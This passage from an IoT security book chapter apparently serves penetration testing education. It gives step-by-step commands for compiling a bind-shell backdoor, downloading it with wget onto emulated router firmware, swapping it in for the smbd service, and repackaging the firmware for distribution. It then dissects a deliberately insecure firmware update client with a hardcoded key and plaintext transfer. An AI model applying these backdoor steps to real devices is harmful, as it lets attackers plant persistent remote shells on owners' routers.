To compile the backdoor agent, we first need to set up the build environment. The easiest way is to use the frequently updated toolset of the OpenWrt project.

$ git clone https://github.com/openwrt/openwrt
$ cd openwrt
$ ./scripts/feeds update -a
$ ./scripts/feeds install -a
$ make menuconfig

By default, these commands will compile firmware for Atheros AR7 System on a Chip (SoC) routers that are based on MIPS processors. To set a different value, click Target System and select one of the available Atheros AR7 devices (Figure 9.4).

Next, save the changes in a new configuration file by pressing the SAVE button and exit the menu by pressing the EXIT button. Fig. 9.5.

Compile the toolset using the make command:

$ make toolchain/install
time: target/linux/prereq#0.53#0.11#0.63
make[1] toolchain/install
make[2] tools/compile
make[3] -C tools/flock compile
…

In the folder staging_dir/toolchain-mips_24kc_gcc-8.3.0_musl/bin/OpenWrt you will find the mips-openwrt-linux-gcc compiler, which can be used as follows:

$ export STAGING_DIR="/root/Desktop/mips_backdoor/openwrt/staging_dir"
$ ./openwrt/staging_dir/toolchain-mips_24kc_gcc-8.3.0_musl/bin/mips-openwrt-linux-gcc
bindshell.c -o bindshell -static -EB -march=24kc

These commands should create a binary file called bindshell. Flash the binary to the emulated firmware using FIRMADYNE and make sure it works correctly. You can easily do this by using Python to create a mini web server in the folder where the binary is located:

$ python -m SimpleHTTPServer 8080 /

Then, in the emulated firmware, download the binary using the wget command:

$ wget http://192.168.1.2:8080/bindshell
Connecting to 192.168.1.2[192.168.1.2]:80
bindshell 100% |*****************************| 68544 00:00 ETA
$ chmod +x ./bindshell
$ ./bindshell

To verify that the backdoor agent is working, try connecting to it from a Netcat-based host device. An interactive shell should appear.

$ nc 192.168.1.1 9999
[~] Welcome to @OsandaMalith's Bind Shell
ls -l
drwxr-xr-x 2 0 0 4096 bin
drwxr-xr-x 4 0 0 4096 boaroot
drwxr-xr-x 6 0 0 4096 dev
…

At this point, you need to make changes to the firmware so that it can be distributed.

For this we can use the open source firmware-mod-kit project. Start by installing the required system packages using apt-get:

$ sudo apt-get install git build-essential zlib1g-dev liblzma-dev python-magic
Bsdmainutils

Use the git command to download the application from the GitHub repository. This repository hosts a fork (alternative) of the program, since the original version is no longer supported. The program folder contains a script called ./extract-firmware.sh that can be used to extract the firmware using the power of a FIRMADYNE-like process.

$ git clone https://github.com/rampageX/firmware-mod-kit
$ cd firmware-mod-kit
$ ./extract-firmware.sh D6000-V1.0.0.41_1.0.1.bin
Firmware Mod Kit (extract) 0.99, (c)2011-2013 Craig Heffner, Jeremy Collake
Preparing tools ...
…
Extracting 1418962 bytes of header image at offset 0
Extracting squashfs file system at offset 1418962
Extracting 2800 byte footer from offset 9668730
Extracting squashfs files...
Firmware extraction successful!
Firmware parts can be found in '/root/Desktop/firmware-mod-kit/fmk/*

For the attack to be successful, the firmware must replace the existing binary, which runs automatically, ensuring that any normal use of the device triggers the backdoor. During dynamic analysis, we discovered the following binary, the SMB service, running on port 445. You can find the smbd executable in the /userfs/bin/smbd directory. Let’s replace it with bindshell:

$ cp bindshell /userfs/bin/smbd

After replacing the binary, restore the firmware using the firmware script node:

$ ./build-firmware.sh
firmware Mod Kit (build) 0.99, (c)2011-2013 Craig Heffner, Jeremy Collake
Building new squashfs file system... (this may take several minutes!)
Squashfs block size is 128 Kb
…
Firmware header not supported; firmware checksums may be incorrect.
New firmware image has been saved to: /root/Desktop/firmware-mod-kit/fmk/new-firmware.bin

Then with the power of firmadyne make sure the shell still works when you load the firmware. Using netstat you can verify that the SMB firmware service that normally waits for new connections on port 445 has been replaced by a backdoor agent that waits for new connections on port 9999:

$ netstat -a -n -u -t
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address Foreign Address State
tcp 0 0 0.0.0.0:3333 0.0.0.0:* LISTEN
tcp 0 0 0.0.0.0:9999 0.0.0.0:* LISTEN
tcp 0 0 0.0.0.0:53 0.0.0.0:* LISTEN
tcp 0 0 192.168.1.1:23 0.0.0.0:* LISTEN
tcp 0 0 :::80 :::* LISTEN
tcp 0 0 :::53 :::* LISTEN
tcp 0 0 :::443 :::* LISTEN
udp 0 0 0.0.0.0:57218 0.0.0.0:*
udp 0 0 192.168.1.1:137 0.0.0.0:*
udp 0 0 0.0.0.0:137 0.0.0.0:*
udp 0 0 192.168.1.1:138 0.0.0.0:*
udp 0 0 0.0.0.0:138 0.0.0.0:*
udp 0 0 0.0.0.0:53 0.0.0.0:*
udp 0 0 0.0.0.0:67 0.0.0.0:*
udp 0 0 :::53 :::*
udp 0 0 :::69 :::*

Instead of replacing the executable, you can modify it to preserve the original functionality and shell. This will reduce the chances of users discovering the backdoor. We leave this exercise up to you.

Orientation on firmware update mechanisms

The firmware update mechanism is an important attack vector and one of the vulnerabilities in IoT devices that was included in the top ten risks according to OWASP. A firmware update mechanism is a process that downloads a new version of firmware via the vendor’s website or an external device such as a USB stick and installs it, replacing the previous version. These mechanisms can create a number of security problems. They often do not verify the firmware or use unencrypted network protocols; Some do not have mechanisms to prevent rollbacks or notify the end user of any security changes caused by the update. The update process can also exacerbate other issues in the device, such as the use of hard-coded credentials, insecure authentication to the cloud component hosting the firmware, and even excessively verbose and insecure logging.

To visualize all these problems, we created a special service for updating vulnerable firmware. This service consists of an emulated IoT device that downloads firmware from an emulated cloud update service. You can download the files for this exercise from the book’s website at https://nostarch.com/practical-iot-hacking/. This update service may be included in the future as part of IoTGoat, a deliberately insecure OpenWrt-based firmware that aims to expose users to common vulnerabilities in IoT devices. The authors of this book contribute to the project.

To deliver the new firmware file, the server will listen on TCP port 31337. The client will connect to the server on this port and authenticate using a predefined hardcoded key. The server will then send the following data to the client in order: length of the firmware, MD5 hash of the firmware file, and the firmware file. The client verifies the integrity of the firmware file by comparing the received MD5 hash with the firmware file hash it calculates using the same shared key (used for authentication earlier). If the two hashes match, the received firmware file is written to the current directory as received_firmware.gz.

Compile and install

Although you can run the client and server on the same host, ideally you should run them on different hosts to simulate the actual upgrade process. Therefore, we recommend that you compile and configure these two components on different Linux systems. Our example uses Kali Linux for the update server and Ubuntu for the IoT client, but you can use any Linux distribution as long as you install the right dependencies.

Install the following packages on both machines:

# apt-get install build-essential libssl-dev

Change to the client directory and use the supplied makefile to compile the client by typing the following:

$ make client

This command should create the client executable in the current directory. Then compile the server on the second computer. Change to the directory where the makefile and server.c are located and compile them by typing the following command:

$ make server

We won’t analyze the server code, because in a real security assessment, you’ll likely only have access to the client binary (not even the source code!) from the firmware filesystem. But for educational purposes, let’s look at the client’s source code to explore the main vulnerabilities.

Customer code

Now let’s look at the client code. This program, written in C, is available at https://nostarch.com/practical-iot-hacking/. Here we highlight only the important parts:

#define PORT 31337
#define FIRMWARE_NAME "./received_firmware.gz"
#define KEY "jUiq1nzpIOaqrWa8R21"

#define directives define constant values. First, we define the server port on which the update service will listen. Next, specify the name for the received firmware file. We then hardcode the authentication key that has already been passed to the server. Using hard-coded keys is a security risk, as we’ll explain later.

We have split the code of the client-side function main()  into two separate listings for clarity. The first part is shown in Listing 9.2.

Code listing 9.2. The first half of the insecure firmware update client’s main() function

int main(int argc, char **argv) {
 struct sockaddr_in servaddr;
 int sockfd, filelen, remaining_bytes;
 ssize_t bytes_received;
 size_t offset;
 unsigned char received_hash[16], calculated_hash[16];
 unsigned char *hash_p, *fw_p;
 unsigned int hash_len;
 uint32_t hdr_fwlen;
 char server_ip[16] = "127.0.0.1"; 
 FILE *file;
 if (argc > 1) 
 strncpy((char *)server_ip, argv[1], sizeof(server_ip) - 1);
 openlog("firmware_update", LOG_CONS | LOG_PID | LOG_NDELAY, LOG_LOCAL1);
 syslog(LOG_NOTICE, "firmware update process started with PID: %d", getpid());
 memset(&servaddr, 0, sizeof(servaddr)); 
 servaddr.sin_family = AF_INET;
 inet_pton(AF_INET, server_ip, &(servaddr.sin_addr));
 servaddr.sin_port = htons(PORT);
 if ((sockfd = socket(AF_INET, SOCK_STREAM, 0)) < 0)
 fatal("Could not open socket %s\n", strerror(errno));
 if (connect(sockfd, (struct sockaddr *)&servaddr, sizeof(struct sockaddr)) == -1)
 fatal("Could not connect to server %s: %s\n", server_ip, strerror(errno));
 /* отправляем ключ для аутентификации */
 write(sockfd, &KEY, sizeof(KEY)); 
 syslog(LOG_NOTICE, "Authenticating with %s using key %s", server_ip, KEY);
 /* получаем размер прошивки */
 recv(sockfd, &hdr_fwlen, sizeof(hdr_fwlen), 0); 
 filelen = ntohl(hdr_fwlen);
 printf("filelen: %d\n", filelen);

The main function begins by defining the variables needed to work with the network and save the values used throughout the program. We will not explain the network programming part of the code in detail and will focus mainly on the high-level functionality. Notice the server_ip variable, which stores the server’s IP address as a null-terminated C string. If the user does not specify a command-line argument when starting the client, the default IP address is localhost (127.0.0.1). Otherwise, we copy the first argument argv[1] (since argv[0] is always the name of the application file) to server_ip.

Then we open a connection to the logger system and instruct it that all messages it receives in the future will be appended to the firmware_update keyword followed by the calling subscriber’s process identifier (PID). From now on, whenever a program calls the syslog function, it sends a message to the /var/log/messages file, a general system activity log that is typically used for non-critical, non-debugging messages. The next block of code prepares a TCP socket (via the sockfd socket handle) and initiates a TCP connection to the server.

If the server is listening on the other end, the client will successfully complete the TCP three-way handshake. It can then start sending or receiving data over the socket. The client then authenticates to the server by sending the KEY value defined earlier. It sends another message to the syslog indicating that it is trying to authenticate using this key. This action demonstrates two dangerous practices: writing redundant data to the log and including sensitive information in the log files. The previous secret key is now written to a log that can be accessed by non-privileged users.

You can learn more about these issues at https://cwe.mitre.org/data/definitions/779.html and https://cwe.mitre.org/data/definitions/532.html. After successful authentication, the client waits to receive the firmware length from the server, storing this value in hdr_fwlen, and then converts the network byte order to the host byte order by calling ntohl. Listing 9.3 shows the second part of the main function.

Code listing 9.3. The second half of the insecure firmware update client’s main() function

/* получение хеша */
 recv(sockfd, received_hash, sizeof(received_hash), 0); 
 /* получение файла */
 if (!(fw_p = malloc(filelen))) 
 fatal("недостаточно памяти для получения прошивки\n");
 remaining_bytes = filelen;
 offset = 0;
 while (remaining_bytes > 0) {
 bytes_received = recv(sockfd, fw_p + offset, remaining_bytes, 0);
 offset += bytes_received;
 remaining_bytes -= bytes_received;
#ifdef DEBUG
 printf("Получено байтов %ld\n", bytes_received);
#endif
 }
 /* проверка прошивки путем сравнения полученного и вычисленного хеша */
 hash_p = calculated_hash;
 hash_p = HMAC(EVP_md5(), &KEY, sizeof(KEY) - 1, fw_p, filelen, hash_p, &hash_len); 
 printf("вычисленный хеш: ");
 for (int i = 0; i < hash_len; i++)
 printf("%x", hash_p[i]);
 printf("\nполученный хеш: ");
 for (int i = 0; i < sizeof(received_hash); i++)
 printf("%x", received_hash[i]);
 printf("\n");
 if (!memcmp(calculated_hash, received_hash, sizeof(calculated_hash))) 
 printf("хеши совпадают\n");
 else
 fatal("хеши не совпадают\n");
 /* запись прошивки на диск */
 if (!(file = fopen(FIRMWARE_NAME, "w")))
 fatal("Не удалось открыть файл для записи %s\n", strerror(errno));
 fwrite(fw_p, filelen, 1, file); 
 syslog(LOG_NOTICE, "Прошивка успешно скачана"); 
 /*очистка */
 free(fw_p);
 fclose(file);
 close(sockfd);
 closelog();
 return 0;

After receiving the firmware length (stored in the filelen variable), the client receives the MD5 hash of the firmware file (stored in the received_hash variable). Then, depending on the length of the firmware, it allocates the necessary heap memory to receive the firmware file. The while loop gradually receives the firmware file from the server and writes it to the allocated memory. The client then calculates the MD5 hash of the firmware file (calculated_hash) using the previous key.

For debugging purposes, we also print the calculated and obtained hashes. If the two hashes match, the client creates a file in the current directory using the filename taken from the FIRMWARE_NAME value. It then dumps the firmware that was stored in memory (specified by fw_p) into this file on disk. It sends one last message to the syslog that the new firmware has finished downloading, does some cleanup, and exits.

Starting the update service

To test the update service, let’s start the server first. We are doing this on an Ubuntu host with an IP address of 192.168.10.219. As soon as the server starts listening, we start the client, passing it the server’s IP address as the first argument. We launch the client on the Kali host with the IP address 192.168.10.10:

root@kali:~/firmware_update# ls
client client.c Makefile
root@kali:~/firmware_update# ./client 192.168.10.219
filelen: 6665864
calculated hash: d21843d3abed62af87c781f3a3fda52d
received hash: d21843d3abed62af87c781f3a3fda52d
hashes match
root@kali:~/firmware_update# ls
client client.c Makefile received_firmware.gz

The client connects to the server and downloads the firmware file. Notice the newly downloaded firmware file in the current directory after the execution is complete. The following list shows the server output. Before starting the client, make sure that the server is enabled.

user@ubuntu:~/fwupdate$ ./server
Listening on port 31337
Connection from 192.168.10.20
Credentials accepted.
hash: d21843d3abed62af87c781f3a3fda52d
filelen: 6665864

Note that since this is an emulated service, the client does not actually update the firmware after downloading the file.

Vulnerabilities of firmware update services

Let’s now check for vulnerabilities in this dangerous firmware update mechanism.

Hard-coded credentials

First, the client authenticates to the server using a password stored directly in the code. The use of hard-coded credentials (such as passwords and cryptographic keys) of IoT systems is a huge problem for two reasons: first, because of the frequency with which they are found in IoT devices, and second, because of the consequences of their misuse. Hard-coded credentials are embedded in binaries, not configuration files. As such,  end users or administrators have virtually no way to change them without laboriously editing the binaries at the risk of corrupting them. Additionally, if attackers ever discover  hard-coded  credentials through binary analysis or reverse engineering, they can be leaked onto the Internet or into the underground market, allowing anyone to gain access to the endpoint. Another problem is that more often than not, these hard-coded credentials are the same across devices, even across organizations. The reason is that it is easier for vendors to create a single master password or key instead of a unique one for each device. In the listing below, you can see a portion of the strings output for the client executable, which shows the hardcoded password (highlighted):

QUITTING!
firmware_update
firmware update process started with PID: %d
Could not open socket %s
Could not connect to server %s: %s
jUiq1nzpIOaqrWa8R21
Authenticating with %s using key %s
filelen: %d
cannot allocate memory for incoming firmware
calculated hash:
received hash:
hashes match
hash mismatch
./received_firmware.gz
Can't open file for writing %s
Firmware downloaded successfully

Attackers can also discover the key by analyzing the server’s binary file (which, however, will be hosted in the cloud, making it difficult to hack). Typically, the client resides on the IoT device, making verification much easier.

Dangerous hashing algorithms

The server and client rely on HMAC-MD5 to calculate a cryptographic hash that the client uses to verify the integrity of the firmware file. Although the MD5 message digest algorithm is now considered a broken and risky cryptographic hash function, HMAC-MD5 does not suffer from these flaws. HMAC is a hash-key authentication message code that uses a cryptographic hash function (in this case MD5) and a secret cryptographic key (shared key in this example). To date, HMAC-MD5 has not been shown to be vulnerable to the practical key collision attacks present in MD5. However, current security best practices suggest that HMAC-MD5 should not be included in future encryption tools.

Unencrypted communication channels

Using an unencrypted communication channel is a high-risk vulnerability for the update service. The client and server exchange data using a configurable plaintext protocol over TCP. This means that if attackers take a man-in-the-middle position on the network, they can intercept and read the data being transmitted. This includes the firmware file and the key used for authentication on the server (Fig. 9.6). Also, since HMAC-MD5 uses the same cryptographic key, an attacker can maliciously modify the firmware in transit and install backdoors into it.

Confidential log files

Last but not least, the client logging mechanism includes sensitive information (KEY values) in log files (in this case /var/log/messages). We showed exactly where this happened when we looked at the client’s source code. In general, this is not a dangerous practice, as log files usually have insecure permissions (often readable by anyone). In many cases, the log output resides in vulnerable areas of the IoT system, such as a non-administrator web interface or mobile app debug data.

Conclusion

In this chapter, we looked at reverse engineering and firmware research. Every device has firmware, and while the prospect of analyzing it may seem daunting at first, you can easily learn how to do it by practicing the methods above. Firmware hacking can increase your security capabilities and provides excellent skills in using your toolkit.

Here you have learned about different methods of obtaining and extracting firmware. You emulated one binary and the entire firmware and downloaded the vulnerable firmware to the device. They then investigated and found vulnerabilities in a deliberately vulnerable firmware update service.

To continue testing the affected firmware, try OWASP IoTGoat (https://github.com/OWASP/ IoTGoat/) – this deliberately unsafe firmware is based on OpenWrt and supported by OWASP. Or use Damn Vulnerable ARM Router (DVAR), an emulated Linux-based ARM router that runs a vulnerable web server (https://blog.exploitlab.net/2018/01/dvar-damn-vulnerable-arm-router.html) . Those of you who want to test your skills on an inexpensive ($17) physical device can try the Damn Vulnerable IoT Device (DVD). It is an open-source vulnerable IoT device that can be built using a low-cost Atmega328p microcontroller and an OLED screen.

We used materials from the book “The Definitive Guide to Attacking the Internet of Things” written by Photios Chantsis, Ioannis Stais, Paulino Calderon, Evangelos Deirmentsoglu and Beau Woods.

Other related articles
Found an error?
If you find an error, take a screenshot and send it to the bot.